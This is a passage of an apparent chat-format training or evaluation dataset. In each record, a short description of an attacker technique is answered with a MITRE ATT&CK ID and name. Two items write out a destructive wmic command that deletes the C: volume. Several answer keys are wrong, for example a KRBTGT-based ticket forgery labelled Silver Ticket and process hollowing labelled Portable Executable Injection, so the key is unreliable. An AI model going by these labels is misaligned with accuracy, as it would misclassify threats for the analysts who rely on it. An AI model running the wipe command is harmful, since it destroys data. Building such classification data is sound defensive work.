                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the service description of 'WinDefend' to include a command that runs at startup."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor copies confidential documents to a malicious Google Drive folder for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor initiates a phone call, claiming there is an urgent issue with the victim's account, and convinces them to reveal their password."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell module was deployed to silently record video from the victim's webcam and exfiltrate the footage to the attacker’s command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised Opera add‑on leverages the browser’s API to enumerate installed software and report back to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use DNS tunneling to embed small amounts of stolen data within DNS query responses."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages an exploit for a known Office macro vulnerability to develop additional payload delivery methods."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware utilizes an asymmetric encryption scheme, encrypting each data packet with the attacker’s public key before sending it over the internet."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary builds a custom backdoor that uses DNS tunneling for command and control, then embeds it within a legitimate utility."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor tunnels command and control communications through port 22, which is usually reserved for SSH."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries temporarily obtain elevated cloud permissions by exploiting misconfigured IAM policies, allowing them to create privileged service accounts."
            },
            {
                "role": "assistant",
                "content": "T1548.005 - Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A campaign involved the creation of a steganographic tool that embeds malicious code within image files."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage tool employs a domain generation algorithm that mixes a hard‑coded word list with the victim’s user ID to produce candidate domains."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary edits the HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths registry key to point to a malicious executable, causing the system to load it when the legitimate program is requested."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is loaded via the Winlogon Helper DLL mechanism, providing boot‑time execution."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary’s implant initially communicates via DNS tunneling, later switching to HTTP to retrieve a more advanced implant component."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor used a disguised email attachment to drop and store a malicious payload on the victim's desktop as a staging step."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deploys a rogue DHCP server on the LAN, causing clients to receive a malicious default gateway and DNS server that route traffic through the attacker."
            },
            {
                "role": "assistant",
                "content": "T1557.003 - Adversary-in-the-Middle: DHCP Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of ransomware checks for the presence of virtualization by measuring clock drift, then waits for a prolonged interval before encrypting files, evading sandbox detection."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing email contains a malicious URL leading to a fake authentication page designed to steal user credentials when victims attempt to log in."
            },
            {
                "role": "assistant",
                "content": "T1598.001 - Phishing for Information: Spearphishing Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remote exfiltration of emails is performed by exploiting a vulnerable Exchange server to read mailbox databases."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a rootkit that modifies kernel driver signatures to avoid driver signing enforcement."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actor writes a one-liner Bash command that adds a new user with administrative privileges."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performs token impersonation by forging a token that grants domain admin rights and uses it to modify Group Policy."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware crafts fake endpoint protection alerts that trigger automatic remediation, disrupting legitimate security processes."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor adds a hidden .app to the user's Login Items, ensuring execution on each login."
            },
            {
                "role": "assistant",
                "content": "T1547.015 - Boot or Logon Autostart Execution: Login Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using rundll32.exe, the adversary loaded a signed DLL from the Windows System32 directory that executed a remote code execution shellcode."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor patches a macOS binary to include LC_LOAD_DYLIB, enabling automatic loading of a payload library at execution."
            },
            {
                "role": "assistant",
                "content": "T1546.006 - Event Triggered Execution: LC_LOAD_DYLIB Addition"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the environment variable that controls library search paths, the attacker ensures that a compromised application loads a malicious module before the intended one."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A multi‑stage approach where the initial beacon is sent via Twitter API messages, followed by a secondary channel using custom‑coded TCP sockets for command execution."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors steal a user's authentication cookie from a web session and replay it to maintain an authenticated session."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors gain control of a victim’s web hosting control panel and create hidden directories with command‑and‑control binaries."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload uses Unix domain sockets to exchange data between a compromised daemon and a stealthy backdoor."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious tool uses a symmetric key exchange performed out‑of‑band to secure its command channel with DES encryption."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors tamper with Outlook’s default home page URL, directing it to a malicious site that serves ransomware payloads during client startup."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a signed but malicious installer, the attacker tricks Gatekeeper into approving the payload."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sends a malicious RTF document that abuses a vulnerability in the word processor to run a PowerShell script."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a proxy chain with HTTPS encryption to bypass deep packet inspection."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries obtain a valid digital certificate from a compromised Certificate Authority and install it on victim machines to sign malware."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat exploits unquoted executable paths in a Windows registry key (e.g., RunOnce) by placing a malicious file in a similarly named folder, causing the system to execute the malicious file first."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script renames itself to a trusted system binary name."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-compromise script invokes a low-level disk format that erases all partition tables and filesystem headers."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor streamed captured video footage directly to an external Bitbucket repository using its web service endpoints."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email delivers a macro-enabled Excel file that registers a startup hook in the Office Test registry key, enabling persistent execution."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By extracting the KRBTGT hash, the attacker fabricates a service ticket for the DNS server, allowing command execution via remote queries."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker invoked the VMware vSphere API to list virtual machines, datastores, and network configurations in the private cloud."
            },
            {
                "role": "assistant",
                "content": "T1580 - Cloud Infrastructure Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor obtained a privileged user’s SSO token from a business partner and used it to authenticate to the victim’s SaaS applications."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A voice phishing attempt involves a pre-recorded message urging recipients to call a number to resolve a supposed security breach, leading to credential capture."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code disguises its data exfiltration as standard syslog messages, exploiting protocol impersonation to evade logging systems."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses PowerShell to read the Credential Manager vault and retrieve saved credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary writes harvested files to a network share on the compromised host, using it as a staging location."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the use of VPN split tunneling, the malicious code routes only specific traffic through the NAT, hiding its command-and-control communications from network monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers enumerated SharePoint site collections and harvested confidential contracts for blackmail purposes."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fake browser update prompted users to enter their Twitter credentials, which were then sent to the attacker's command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors delete all Azure Activity Log entries and remove the diagnostic settings to stop future logging."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A covert tool extracts the MAC address, IP configuration, and attached peripherals to fingerprint the device."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware initiates a DDE conversation with the Calculator.exe process to execute arbitrary code on the host."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor purchases a virtual private server in a foreign country to host command and control infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Acquire Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes the Process Hollowing technique, creating a new process in a suspended state and replacing its executable image with a malicious PE."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leverages a compromised SaaS application that has API access to internal resources, using it as a bridge to move laterally into the corporate LAN."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party email service is used to send phishing emails that contain malicious attachments targeting the organization."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a search engine to discover the target's publicly listed APIs and service endpoints."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators exfiltrate data by dumping files onto a compromised laptop's USB-C external SSD."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised account to run \"wmic logicaldisk where \"DeviceID='C:'\" call Delete\" to remove the disk contents."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary crafts a fake software update that is distributed via the organization's automated deployment tool, tricking users into installing spyware."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker exploits a race condition in serverless function deployment to insert malicious code before validation."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors performed data exfiltration by piggybacking on encrypted VoIP calls, embedding payloads in the audio stream."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware campaign overwrote the computer's recovery partition with encrypted files."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party script on a popular site reads the user's session cookie via document.cookie and posts it to an external endpoint."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After stealing credentials, the attacker runs a batch file that calls 'wmic logicaldisk where DeviceID=\"C:\" delete' to remove the C: volume."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script updates the registry key 'Shell' in HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion to replace Explorer.exe with a malicious binary."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the threat actor inserts a concealed local account with elevated privileges, setting the account's description to a random string and hiding it from net user output."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script runs the 'systeminfo' command on Windows to gather OS version, build number, and installed hotfixes."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor exploits Kerberos AS‑REP without pre‑authentication, capturing the encrypted verifier and performing offline password cracking."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emond is used by the intruder to watch for a USB device insertion event, executing a hidden script that exfiltrates data once the device is connected."
            },
            {
                "role": "assistant",
